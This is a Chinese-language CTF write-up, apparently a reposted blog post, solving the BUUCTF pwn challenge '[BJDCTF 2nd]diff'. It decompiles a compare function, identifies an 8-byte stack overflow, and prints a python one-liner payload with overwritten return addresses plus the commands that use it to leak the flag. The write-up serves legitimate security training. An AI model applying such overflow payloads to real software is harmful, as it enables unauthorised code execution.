CTF-Pwn-[BJDCTF 2nd]diff


CTF-Pwn-[BJDCTF 2nd]diff

博客說明

文章所涉及的資料來自互聯網整理和個人總結,意在於個人學習和經驗匯總,如有什么地方侵權,請聯系本人刪除,謝謝!本文僅用於學習與交流,不得用於非法用途!

CTP平台

網址

https://buuoj.cn/challenges

題目

Pwn類,[BJDCTF 2nd]diff

image-20200506192308847

使用ssh遠程連接Username: ctf Password: guest

思路

遠程連接

ssh -p 29857 ctf@node3.buuoj.cn

image-20200506193033058

可以看到里面有一個文件diff,我們把它下載下來這里使用ssh協議的scp

scp -P 28708 ctf@node3.buuoj.cn:/home/ctf/diff /home/tanglei/Desktop/ctf/

image-20200507125049403

接下來我們來分析這個源文件

image-20200507125311410

然后使用ida32位打開它

image-20200507125449001

注意到compare函數里面有個漏洞

int __cdecl compare(int a1, int fd)
{
  char v2; // al
  int v4; // [esp+0h] [ebp-80h]
  unsigned int i; // [esp+4h] [ebp-7Ch]
  char addr[120]; // [esp+8h] [ebp-78h]

  v4 = 0;
  JUMPOUT(sys_read(fd, buf1, 0x80u), 0, &failed);
  JUMPOUT(sys_read(a1, addr, 0x80u), 0, &failed);
  for ( i = 0; addr[i] + buf1[i] && i < 0x400; ++i )
  {
    v2 = buf1[i];
    if ( v2 != addr[i] )
      return v4 + 1;
    if ( v2 == 10 )
      ++v4;
  }
  return 0;
}

里面addr長度為120,read讀了128字節,很明顯的棧溢出,有8個字節的溢出,buf1有可執行的權限,我們只要獲取到buf1的地址並覆蓋它,即可getshell

payload

看到網上的payload時這樣寫的

python -c "print 'a'*120+'\x5e\x91\x04\x08\x5e\x91\x04\x08'" >flag2

這個里面有python的命令,把payload寫進第二個文件,就可以把flag爆出來,

執行./diff flag /tmp/flag2

完整命令
cd /tmp
/tmp$ python -c "print 'a'*120+'\x5e\x91\x04\x08\x5e\x91\x04\x08'" >flag2
/tmp$ cd ~
./diff flag /tmp/flag2

測試

已經找到flag,不過好像少了個f,補上就好

image-20200507130838468

感謝

BUUCTF

以及勤勞的自己

關注公眾號: 歸子莫,獲取更多的資料,還有更長的學習計划


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM